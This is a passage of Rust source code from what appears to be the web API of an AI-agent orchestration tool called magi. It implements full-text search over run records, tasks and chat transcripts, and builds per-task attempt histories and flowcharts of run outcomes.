3473/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
3474#[derive(Debug, Serialize, PartialEq, Eq)]
3475struct SnippetPart {
3476    text: String,
3477    hit: bool,
3478}
3479
3480#[derive(Debug, Serialize)]
3481struct SearchHit {
3482    id: String,
3483    /// The name of the field the snippet was cut from.
3484    field: String,
3485    snippet: Vec<SnippetPart>,
3486    /// The run's list row, so the page can apply its state / section / repo
3487    /// filters to a hit outside the loaded window. Absent for tasks and for a
3488    /// run record the list view cannot read.
3489    #[serde(skip_serializing_if = "Option::is_none")]
3490    run: Option<RunSummary>,
3491}
3492
3493#[derive(Debug, Serialize)]
3494struct SearchView {
3495    scope: String,
3496    q: String,
3497    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
3498    hits: Vec<SearchHit>,
3499    /// Every match, hits beyond the cap included.
3500    total: usize,
3501    truncated: bool,
3502    /// Runs whose `run.json` could not be parsed at all. They were not
3503    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
3504    unreadable: usize,
3505}
3506
3507/// The text leaves of a JSON document, with the name of the field each sits
3508/// under. Keys and numbers are skipped: they are structure, not prose.
3509fn text_leaves<'a>(
3510    value: &'a serde_json::Value,
3511    field: &'a str,
3512    out: &mut Vec<(&'a str, &'a str)>,
3513) {
3514    match value {
3515        serde_json::Value::String(s) => out.push((field, s)),
3516        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3517        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3518        _ => {}
3519    }
3520}
3521
3522/// Lower-case one character without changing how many there are, so indices
3523/// in the lowered text are indices in the original.
3524fn fold_char(c: char) -> char {
3525    c.to_lowercase().next().unwrap_or(c)
3526}
3527
3528/// Split a query into its lower-cased terms.
3529fn search_terms(q: &str) -> Vec<String> {
3530    let mut terms: Vec<String> = Vec::new();
3531    for t in q.split_whitespace() {
3532        let t = t.to_lowercase();
3533        if !terms.contains(&t) {
3534            terms.push(t);
3535        }
3536    }
3537    terms
3538}
3539
3540/// Match `terms` (all of them, anywhere in the document) against the leaves
3541/// and cut a snippet around the first hit. `None` when a term is missing.
3542fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3543    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3544    let mut first: Option<usize> = None;
3545    for term in terms {
3546        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3547        first = Some(first.map_or(at, |f| f.min(at)));
3548    }
3549    // The leaf holding the earliest hit of any term is where the snippet is cut.
3550    let (field, text) = leaves[first?];
3551    Some(SearchHit {
3552        id: String::new(),
3553        field: field.to_owned(),
3554        snippet: snippet_of(text, terms),
3555        run: None,
3556    })
3557}
3558
3559/// A window of `text` around the first occurrence of any term, whitespace
3560/// collapsed, with every term occurrence inside the window marked.
3561fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3562    let chars: Vec<char> = text.chars().collect();
3563    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3564    let needles: Vec<Vec<char>> = terms
3565        .iter()
3566        .map(|t| t.chars().map(fold_char).collect())
3567        .collect();
3568    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3569        let mut best: Option<(usize, usize)> = None;
3570        for n in needles.iter().filter(|n| !n.is_empty()) {
3571            // `to` bounds where a match may start; it may run past `to` (the
3572            // caller clips what it shows). A term longer than the field cannot
3573            // occur in it (it may live in another leaf of the document).
3574            if n.len() > chars.len() || to == 0 {
3575                continue;
3576            }
3577            let last = (to - 1).min(chars.len() - n.len());
3578            if from > last {
3579                continue;
3580            }
3581            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3582                && best.is_none_or(|(b, _)| i < b)
3583            {
3584                best = Some((i, i + n.len()));
3585            }
3586        }
3587        best
3588    };
3589    let Some((start, _)) = find(0, chars.len()) else {
3590        // Matched only through a case mapping that changes length: show the head.
3591        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3592        return vec![SnippetPart {
3593            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3594            hit: false,
3595        }];
3596    };
3597    let lo = start.saturating_sub(SNIPPET_BEFORE);
3598    let hi = (start + SNIPPET_AFTER).min(chars.len());
3599    let mut parts: Vec<SnippetPart> = Vec::new();
3600    let mut push = |s: &[char], hit: bool| {
3601        if s.is_empty() {
3602            return;
3603        }
3604        let text: String = s.iter().collect();
3605        match parts.last_mut() {
3606            Some(p) if p.hit == hit => p.text.push_str(&text),
3607            _ => parts.push(SnippetPart { text, hit }),
3608        }
3609    };
3610    if lo > 0 {
3611        push(&['\u{2026}'], false);
3612    }
3613    let mut at = lo;
3614    while at < hi {
3615        match find(at, hi) {
3616            Some((s, e)) => {
3617                push(&chars[at..s], false);
3618                // A match running past the window is shown up to its edge.
3619                let shown = e.min(hi);
3620                push(&chars[s..shown], true);
3621                at = shown;
3622            }
3623            None => {
3624                push(&chars[at..hi], false);
3625                at = hi;
3626            }
3627        }
3628    }
3629    if hi < chars.len() {
3630        push(&['\u{2026}'], false);
3631    }
3632    // Collapse whitespace (newlines in an instruction) without disturbing the
3633    // hit boundaries.
3634    let mut prev_space = false;
3635    for p in &mut parts {
3636        let mut out = String::with_capacity(p.text.len());
3637        for c in p.text.chars() {
3638            if c.is_whitespace() {
3639                if !prev_space {
3640                    out.push(' ');
3641                }
3642                prev_space = true;
3643            } else {
3644                out.push(c);
3645                prev_space = false;
3646            }
3647        }
3648        p.text = out;
3649    }
3650    parts.retain(|p| !p.text.is_empty());
3651    parts
3652}
3653
3654/// The search over `docs` (id, document), newest first, capped.
3655fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3656where
3657    I: IntoIterator<Item = (String, serde_json::Value)>,
3658{
3659    for (id, doc) in docs {
3660        let mut leaves = Vec::new();
3661        // The id is text an operator types too, and it is a map key on disk,
3662        // not a leaf.
3663        leaves.push(("id", id.as_str()));
3664        text_leaves(&doc, "", &mut leaves);
3665        if let Some(mut hit) = search_document(terms, &leaves) {
3666            view.total += 1;
3667            if view.hits.len() < SEARCH_MAX_HITS {
3668                hit.id = id;
3669                view.hits.push(hit);
3670            }
3671        }
3672    }
3673    view.truncated = view.total > view.hits.len();
3674}
3675
3676/// What a conversation is searched by: its list title and each turn's text,
3677/// under `operator` / `agent` so the snippet says who spoke. Nothing else
3678/// (session ids, repo paths, usage, drafts) is part of the document.
3679///
3680/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
3681/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
3682fn talk_search_doc(talk: &Talk) -> serde_json::Value {
3683    let opener = talk
3684        .turns
3685        .iter()
3686        .find(|t| t.who == crate::talk::Who::Operator)
3687        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
3688        .unwrap_or("");
3689    let title: String = if opener.chars().count() > 96 {
3690        opener.chars().take(95).chain(['\u{2026}']).collect()
3691    } else {
3692        opener.to_owned()
3693    };
3694    let turns: Vec<serde_json::Value> = talk
3695        .turns
3696        .iter()
3697        .map(|t| {
3698            let who = match t.who {
3699                crate::talk::Who::Operator => "operator",
3700                crate::talk::Who::Agent => "agent",
3701            };
3702            serde_json::json!({ who: t.body })
3703        })
3704        .collect();
3705    serde_json::json!({ "title": title, "turns": turns })
3706}
3707
3708/// Read-only full-text search over every run's `run.json`, every task or every
3709/// conversation (title and transcript).
3710///
3711/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
3712/// record from an older schema still searches; only a file that is not JSON
3713/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
3714async fn search_get(
3715    State(ui): State<Arc<Ui>>,
3716    Query(q): Query<SearchQuery>,
3717) -> ApiResult<Json<SearchView>> {
3718    let query = q.q.trim().to_owned();
3719    if query.is_empty() {
3720        return Err(ApiError::bad_request("q must not be empty"));
3721    }
3722    if query.chars().count() > SEARCH_MAX_QUERY {
3723        return Err(ApiError::bad_request(format!(
3724            "q is longer than {SEARCH_MAX_QUERY} characters"
3725        )));
3726    }
3727    let terms = search_terms(&query);
3728    if terms.len() > SEARCH_MAX_TERMS {
3729        return Err(ApiError::bad_request(format!(
3730            "q has more than {SEARCH_MAX_TERMS} terms"
3731        )));
3732    }
3733    let scope = q.scope;
3734    if scope != "runs" && scope != "tasks" && scope != "chats" {
3735        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
3736    }
3737    blocking(move || {
3738        let mut view = SearchView {
3739            scope: scope.clone(),
3740            q: query,
3741            hits: Vec::new(),
3742            total: 0,
3743            truncated: false,
3744            unreadable: 0,
3745        };
3746        if scope == "runs" {
3747            let mut unreadable = 0;
3748            // One run.json is read, matched and dropped at a time; nothing
3749            // holds the whole history. The scan runs to the end even past the
3750            // hit cap so `total` and `unreadable` stay exact.
3751            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
3752                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
3753                match body.and_then(|b| serde_json::from_str(&b).ok()) {
3754                    Some(v) => Some((id, v)),
3755                    None => {
3756                        unreadable += 1;
3757                        None
3758                    }
3759                }
3760            });
3761            search_docs(&terms, docs, &mut view);
3762            view.unreadable = unreadable;
3763            // Only the capped hits get a row: the filters need a run's state,
3764            // and reading every match would be the whole history again.
3765            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3766            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3767            for hit in &mut view.hits {
3768                if let Ok(state) = read_run(&ui.runs, &hit.id) {
3769                    hit.run = summarize(
3770                        [state],
3771                        &open_runs,
3772                        &claimed,
3773                        &superseded,
3774                        |p| probe.borrow_mut().status(p),
3775                        |p| probe.borrow_mut().started_at(p),
3776                    )
3777                    .pop();
3778                }
3779            }
3780        } else if scope == "chats" {
3781            let (talks, unreadable) = ui.talks.list_counting_unreadable();
3782            view.unreadable = unreadable;
3783            search_docs(
3784                &terms,
3785                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
3786                &mut view,
3787            );
3788        } else {
3789            let docs = ui.queue.list().into_iter().filter_map(|t| {
3790                let mut v = serde_json::to_value(&t).ok()?;
3791                // `source` serialises as a tagged object; the label is what
3792                // the operator reads ("human", "chat@a1b2").
3793                if let Some(o) = v.as_object_mut() {
3794                    o.insert("filed_by".to_owned(), t.source.label().into());
3795                }
3796                Some((t.id, v))
3797            });
3798            search_docs(&terms, docs, &mut view);
3799        }
3800        Ok(Json(view))
3801    })
3802    .await
3803}
3804
3805/// One attempt in a task's history, as the task page lists it.
3806#[derive(Debug, Serialize)]
3807struct TaskRunView {
3808    /// 1-based position in [`Task::runs`].
3809    n: usize,
3810    id: String,
3811    short: String,
3812    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
3813    kind: &'static str,
3814    /// The run's own status string; `None` when its record cannot be read.
3815    status: Option<&'static str>,
3816    /// Whether this build could read the run's record. Counted, never hidden.
3817    readable: bool,
3818    /// A verdict from a collapsed panel is provisional, never a decision.
3819    provisional: bool,
3820    /// What kind of attempt this was, in one line.
3821    description: String,
3822    /// How it ended and why the task moved on (or what it is doing now).
3823    outcome: String,
3824    created_at: Option<Timestamp>,
3825    pr: Option<String>,
3826    /// Why this pass ended, classified once; the flowchart is built from it.
3827    exit: RunExit,
3828    /// What the pass did to the task's attempt budget.
3829    attempt: AttemptCost,
3830    /// The branch a review-only run reopened.
3831    branch: Option<String>,
3832}
3833
3834/// How one pass over a run ended, as far as the task's life is concerned.
3835#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3836#[serde(rename_all = "snake_case")]
3837enum RunExit {
3838    Unreadable,
3839    /// An earlier pass of a run id that appears again: it stopped short.
3840    Interrupted,
3841    Parked,
3842    QuotaStall,
3843    /// Stalled on a resumed pass with quota losses on record: they may be
3844    /// left over from an earlier pass, so whether this one was refunded is
3845    /// not knowable.
3846    ResumedQuotaStall,
3847    Merged,
3848    Ready,
3849    Superseded,
3850    /// The change was already on the base under other commits: the task
3851    /// finished without this run landing anything.
3852    AlreadyInBase,
3853    /// Stalled without a rate limit to blame: no verdict, attempt spent.
3854    Stalled,
3855    /// Blocked / no-op with a pull request left open: held for a person.
3856    HeldWithPr,
3857    NoopHeld,
3858    /// Blocked or failed: the attempt is spent and the task retries or holds.
3859    Spent,
3860    InProgress,
3861}
3862
3863#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3864#[serde(rename_all = "snake_case")]
3865enum AttemptCost {
3866    Spent,
3867    Refunded,
3868    None,
3869    /// Cannot be told from the records that remain.
3870    Unknown,
3871}
3872
3873impl RunExit {
3874    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3875        let Some(s) = s else {
3876            return Self::Unreadable;
3877        };
3878        let status = s.status;
3879        if resumed_later {
3880            Self::Interrupted
3881        } else if s.parked {
3882            Self::Parked
3883        } else if !status.done() {
3884            Self::InProgress
3885        } else if matches!(status, RunStatus::Merged) {
3886            Self::Merged
3887        } else if matches!(status, RunStatus::Ready) {
3888            Self::Ready
3889        } else if matches!(status, RunStatus::Superseded) {
3890            Self::Superseded
3891        } else if matches!(status, RunStatus::AlreadyInBase) {
3892            Self::AlreadyInBase
3893        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3894            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3895        {
3896            if resumed {
3897                Self::ResumedQuotaStall
3898            } else {
3899                Self::QuotaStall
3900            }
3901        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3902            Self::HeldWithPr
3903        } else if matches!(status, RunStatus::VerifiedNoop) {
3904            Self::NoopHeld
3905        } else if matches!(status, RunStatus::Stalled) {
3906            Self::Stalled
3907        } else {
3908            Self::Spent
3909        }
3910    }
3911
3912    fn cost(self) -> AttemptCost {
3913        match self {
3914            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
3915            Self::Merged
3916            | Self::Ready
3917            | Self::Stalled
3918            | Self::HeldWithPr
3919            | Self::NoopHeld
3920            | Self::Spent => AttemptCost::Spent,
3921            Self::InProgress => AttemptCost::None,
3922            Self::AlreadyInBase => AttemptCost::Refunded,
3923            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
3924                AttemptCost::Unknown
3925            }
3926        }
3927    }
3928
3929    /// Short edge wording for leaving a run this way.
3930    fn edge_label(self, status: Option<&str>) -> String {
3931        match self {
3932            Self::Unreadable => "record unreadable".to_owned(),
3933            Self::Interrupted => "interrupted before the run finished".to_owned(),
3934            Self::Parked => "parked, attempt refunded".to_owned(),
3935            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
3936            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
3937            Self::Merged => "merged".to_owned(),
3938            Self::Ready => "ready, not merged".to_owned(),
3939            Self::Superseded => "superseded by a later attempt".to_owned(),
3940            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
3941            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
3942            Self::HeldWithPr => "blocked, PR left open".to_owned(),
3943            Self::NoopHeld => "verified no-op".to_owned(),
3944            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
3945            Self::InProgress => "in progress".to_owned(),
3946        }
3947    }
3948
3949    /// Does a task in `end` follow from a run that ended this way? When not,
3950    /// somebody closed or held the task by hand.
3951    fn explains(self, end: TaskStatus) -> bool {
3952        match self {
3953            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
3954            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
3955            Self::Unreadable | Self::Superseded | Self::Ready => true,
3956            _ => end != TaskStatus::Done,
3957        }
3958    }
3959}
3960
3961/// `GET /api/queue/{id}` - one task with every attempt it went through.
3962#[derive(Debug, Serialize)]
3963struct TaskDetailView {
3964    #[serde(flatten)]
3965    task: TaskView,
3966    /// The attempt budget `magi serve` / `magi web` start a loop with unless
3967    /// told otherwise; the loop's own flag is not visible from here.
3968    max_attempts: usize,
3969    history: Vec<TaskRunView>,
3970    flow: FlowView,
3971    /// How many entries of `history` could not be read.
3972    runs_unreadable: usize,
3973    /// Why the attempt count can be lower than the number of runs.
3974    attempts_note: &'static str,
3975}
3976
3977const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
3978and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
3979on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
3980in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
3981
3982/// The branch a review-only run reopened, read off the instruction
3983/// `Runner::open_review` writes.
3984fn review_branch_of(instruction: &str) -> Option<&str> {
3985    let rest = instruction.strip_prefix("Review the work already on branch `")?;
3986    rest.split('`').next().filter(|b| !b.is_empty())
3987}
3988
3989/// Where an entry sits in a task's run list.
3990struct RunSlot<'a> {
3991    /// 1-based position.
3992    n: usize,
3993    /// The same run id appeared earlier: this pass resumed it.
3994    resumed: bool,
3995    /// Position of a later pass over the same run id, if any.
3996    resumed_later: Option<usize>,
3997    /// The previous distinct run and how it ended, for the retry note.
3998    prior: Option<(&'a str, RunStatus)>,
3999    last: bool,
4000}
4001
4002/// Describe one entry of a task's run list. Pure: everything it needs is on
4003/// the run and the task, so it is asserted without a server.
4004fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4005    let RunSlot {
4006        n,
4007        resumed,
4008        resumed_later,
4009        prior,
4010        last,
4011    } = at;
4012    let short = run::short_of(id).to_owned();
4013    let Some(s) = state else {
4014        return TaskRunView {
4015            n,
4016            id: id.to_owned(),
4017            short,
4018            kind: "unknown",
4019            status: None,
4020            readable: false,
4021            provisional: false,
4022            description:
4023                "This run's record could not be read by this build (written by a different \
4024                          magi, or removed), so what kind of attempt it was is unknown."
4025                    .to_owned(),
4026            outcome: String::new(),
4027            created_at: None,
4028            pr: None,
4029            exit: RunExit::Unreadable,
4030            attempt: AttemptCost::Unknown,
4031            branch: None,
4032        };
4033    };
4034    let branch = review_branch_of(&s.instruction);
4035    let kind = if resumed {
4036        "resume"
4037    } else if branch.is_some() {
4038        "review"
4039    } else if task.solo || s.candidates.len() == 1 {
4040        "solo"
4041    } else {
4042        "competition"
4043    };
4044    let mut description = match kind {
4045        "resume" => {
4046            format!("Resumed run {short}: the same run carried on instead of competing again.")
4047        }
4048        "review" => format!(
4049            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4050            branch.unwrap_or_default()
4051        ),
4052        "solo" => "Solo run: one implementer straight into review.".to_owned(),
4053        _ => format!(
4054            "Competition: {} candidates judged blind.",
4055            s.candidates.len().max(1)
4056        ),
4057    };
4058    if !resumed && let Some((p, st)) = prior {
4059        description.push_str(&format!(
4060            " A retry: run {p} before it ended {}.",
4061            st.display_label()
4062        ));
4063    }
4064
4065    let status = s.status;
4066    let provisional = matches!(status, RunStatus::Stalled)
4067        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4068    let head = if resumed_later.is_some() {
4069        String::new()
4070    } else {
4071        match status {
4072            RunStatus::Merged => "Merged.".to_owned(),
4073            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4074            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4075            RunStatus::AlreadyInBase => {
4076                "Already in the base: this change landed under other commits, nothing was left to land."
4077                    .to_owned()
4078            }
4079            RunStatus::Stalled => {
4080                "Stalled: the judging panel never reached a quorum, so there is no verdict."
4081                    .to_owned()
4082            }
4083            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4084            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4085            RunStatus::VerifiedNoop => {
4086                "Verified no-op: the candidates found nothing to change.".to_owned()
4087            }
4088            other if other.done() => format!("Ended {}.", other.display_label()),
4089            other => format!("In progress ({}).", other.display_label()),
4090        }
4091    };
4092    let why = if let Some(k) = resumed_later {
4093        // A run is only picked up again while it is unfinished, so an earlier
4094        // pass of a repeated id stopped short; the record keeps only the run's
4095        // latest status, which is left to the pass that carried it on.
4096        // Only the latest state is recorded: `parked` is cleared on resume
4097        // and `quota` accumulates across passes, so neither says why *this*
4098        // pass stopped, and the refund is as unknown as `AttemptCost` says.
4099        let cause = if s.quota.is_empty() {
4100            "the cause was not recorded: a park, a crash or a restart all look the same from here"
4101        } else {
4102            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4103        };
4104        format!(
4105            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4106        )
4107    } else if s.parked {
4108        " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4109            .to_owned()
4110    } else if !status.done()
4111        || matches!(
4112            status,
4113            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4114        )
4115    {
4116        String::new()
4117    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4118        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4119    {
4120        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4121            .to_owned()
4122    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4123        " It left a pull request open, so the task was held for a person rather than retried."
4124            .to_owned()
4125    } else if matches!(status, RunStatus::VerifiedNoop) {
4126        " Held for a person to check the claim.".to_owned()
4127    } else if last {
4128        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4129    } else {
4130        " It spent an attempt, and the task moved on to the next run.".to_owned()
4131    };
4132    let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4133    TaskRunView {
4134        n,
4135        id: id.to_owned(),
4136        short,
4137        kind,
4138        status: Some(status.as_str()),
4139        readable: true,
4140        provisional,
4141        description,
4142        outcome: format!("{head}{why}"),
4143        created_at: Some(s.created_at),
4144        pr: s.pr.as_ref().map(|p| p.url.clone()),
4145        exit,
4146        attempt: exit.cost(),
4147        branch: branch.map(str::to_owned),
4148    }
4149}
4150
4151/// One box of the task's flowchart.
4152#[derive(Debug, Serialize, PartialEq)]
4153struct FlowNode {
4154    /// Unique by position: a resumed run id appears once per pass.
4155    key: String,
4156    /// `chat`, `start`, `run` or `end`.
4157    kind: &'static str,
4158    label: String,
4159    /// Run status (or the task's, for `end`); `None` when it is not a fact
4160    /// about this box (unreadable, or a pass the run later resumed from).
4161    status: Option<&'static str>,
4162    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
4163    note: Option<&'static str>,
4164    run_kind: Option<&'static str>,
4165    detail: Option<String>,
4166    /// A readable run with a real verdict; a stall never is.
4167    decided: bool,
4168    readable: bool,
4169    href: Option<String>,
4170}
4171
4172#[derive(Debug, Serialize, PartialEq)]
4173struct FlowEdge {
4174    from: String,
4175    to: String,
4176    label: String,
4177    attempt: AttemptCost,
4178}
4179
4180#[derive(Debug, Serialize, PartialEq)]
4181struct FlowView {
4182    nodes: Vec<FlowNode>,
4183    edges: Vec<FlowEdge>,
4184    /// Attempts the task has counted since it was last released.
4185    attempts: usize,
4186    max_attempts: usize,
4187}
4188
4189/// Turn a task and its described runs into the flowchart's boxes and arrows.
4190/// Pure: the page only draws what this returns.
4191fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4192    let node = |key: &str, kind, label: String| FlowNode {
4193        key: key.to_owned(),
4194        kind,
4195        label,
4196        status: None,
4197        note: None,
4198        run_kind: None,
4199        detail: None,
4200        decided: false,
4201        readable: true,
4202        href: None,
4203    };
4204    let mut nodes = Vec::new();
4205    let mut edges: Vec<FlowEdge> = Vec::new();
4206    // A task queued from a chat opens the flow with that conversation.
4207    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4208        let mut n = node(
4209            "chat",
4210            "chat",
4211            format!("Chat {}", crate::queue::short(&link.id)),
4212        );
4213        n.href = Some(link.href);
4214        nodes.push(n);
4215        edges.push(FlowEdge {
4216            from: "chat".to_owned(),
4217            to: "start".to_owned(),
4218            label: "queued from chat".to_owned(),
4219            attempt: AttemptCost::None,
4220        });
4221    }
4222    nodes.push(node("start", "start", "Task queued".to_owned()));
4223    let mut prev = "start".to_owned();
4224    let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4225    for (i, h) in history.iter().enumerate() {
4226        let key = format!("run-{}", h.n);
4227        let mut n = node(&key, "run", format!("Run {}", h.short));
4228        n.run_kind = Some(h.kind);
4229        n.readable = h.readable;
4230        n.href = Some(format!("#/runs/{}", h.id));
4231        n.decided = h.readable && !h.provisional;
4232        n.detail = h
4233            .branch
4234            .as_ref()
4235            .map(|b| format!("review-only run of branch {b}"));
4236        match h.exit {
4237            RunExit::Unreadable => n.note = Some("unreadable"),
4238            RunExit::Interrupted => n.note = Some("interrupted"),
4239            _ => {
4240                n.status = h.status;
4241                if h.provisional {
4242                    n.note = Some("no verdict");
4243                }
4244            }
4245        }
4246        let into = match h.kind {
4247            "review" => Some(format!(
4248                "review-only run of branch {}",
4249                h.branch.as_deref().unwrap_or("?")
4250            )),
4251            "resume" => Some("resume the same run".to_owned()),
4252            _ if i > 0 => Some("retry".to_owned()),
4253            _ => None,
4254        };
4255        let label = match (prev_exit, into) {
4256            (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4257            (Some((e, st)), None) => e.edge_label(st),
4258            (None, Some(i)) => i,
4259            (None, None) => "claimed".to_owned(),
4260        };
4261        edges.push(FlowEdge {
4262            from: prev.clone(),
4263            to: key.clone(),
4264            label,
4265            attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4266        });
4267        prev_exit = Some((h.exit, h.status));
4268        prev = key;
4269        nodes.push(n);
4270    }
4271    let mut end = node("end", "end", task.status.as_str().to_owned());
4272    end.status = Some(task.status.as_str());
4273    nodes.push(end);
4274    let (label, attempt) = match prev_exit {
4275        None => (
4276            format!("no run yet \u{2192} {}", task.status.as_str()),
4277            AttemptCost::None,
4278        ),
4279        Some((e, st)) if e.explains(task.status) => (
4280            format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4281            e.cost(),
4282        ),
4283        Some((e, _)) => (
4284            format!("closed by hand: task is {}", task.status.as_str()),
4285            e.cost(),
4286        ),
4287    };
4288    edges.push(FlowEdge {
4289        from: prev,
4290        to: "end".to_owned(),
4291        label,
4292        attempt,
4293    });
4294    FlowView {
4295        nodes,
4296        edges,
4297        attempts: task.attempts,
4298        max_attempts,
4299    }
4300}
4301
4302/// Describe every entry of `task.runs`, in order, reading each run's record
4303/// through `read`.
4304fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4305    let mut history = Vec::with_capacity(task.runs.len());
4306    let mut seen: Vec<&str> = Vec::new();
4307    let mut prior: Option<(&str, RunStatus)> = None;
4308    for (i, run_id) in task.runs.iter().enumerate() {
4309        let state = read(run_id);
4310        let resumed = seen.contains(&run_id.as_str());
4311        seen.push(run_id);
4312        history.push(task_run_view(
4313            run_id,
4314            state.as_ref(),
4315            RunSlot {
4316                n: i + 1,
4317                resumed,
4318                resumed_later: task.runs[i + 1..]
4319                    .iter()
4320                    .position(|r| r == run_id)
4321                    .map(|off| i + off + 2),
4322                prior,
4323                last: i + 1 == task.runs.len(),
4324            },
4325            task,
4326        ));
4327        if let Some(s) = &state {
4328            prior = Some((run::short_of(run_id), s.status));
4329        }
4330    }
4331    history
4332}
4333
4334async fn task_detail(
4335    State(ui): State<Arc<Ui>>,
4336    Path(id): Path<String>,
4337) -> ApiResult<Json<TaskDetailView>> {
4338    blocking(move || {
4339        let id = resolve_task(&ui.queue, &id)?;
4340        let task = ui
4341            .queue
4342            .get(&id)
4343            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4344        let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4345        let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4346        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4347        let max_attempts = daemon::Opts::default().max_attempts;
4348        let flow = task_flow(&task, &history, max_attempts);
4349        Ok(Json(TaskDetailView {
4350            max_attempts,
4351            flow,
4352            history,
4353            runs_unreadable,
4354            attempts_note: ATTEMPTS_NOTE,
4355            task: TaskView::with_inventory(task, &inv),
4356        }))
4357    })
4358    .await
4359}
4360
4361/// A rate together with its denominator, so the client can tell "computed as
4362/// 0%" apart from "no data to compute it from" — both would otherwise
4363/// serialize as `0.0`. `None` means the denominator was zero.
4364#[derive(Debug, Serialize)]
4365struct RateView {
4366    pct: f64,
4367    denominator: usize,
4368}
4369
4370impl RateView {
4371    fn of(numerator: usize, denominator: usize) -> Option<Self> {
4372        (denominator > 0).then(|| Self {
4373            pct: 100.0 * numerator as f64 / denominator as f64,
4374            denominator,
4375        })
4376    }
4377}
4378
4379/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
4380/// rates, each paired with its own denominator via [`RateView`] rather than
4381/// exposing `Stats`' own percentage methods directly — see this module's
4382/// doc for why `Stats` itself is never serialized.
4383#[derive(Debug, Serialize)]
4384struct StatsTotalsView {
4385    runs: usize,
4386    merged: usize,
4387    ready: usize,
4388    blocked: usize,
4389    failed: usize,
4390    stalled: usize,
4391    verified_noop: usize,
4392    superseded: usize,
4393    in_progress: usize,
4394    completion_rate: Option<RateView>,
4395    tallied: usize,
4396    split: usize,
4397    split_rate: Option<RateView>,
4398    deliberated: usize,
4399    minds_changed: usize,
4400    converged: usize,
4401    review_rounds: usize,
4402}
4403
4404impl From<&stats::Totals> for StatsTotalsView {
4405    fn from(t: &stats::Totals) -> Self {
4406        Self {
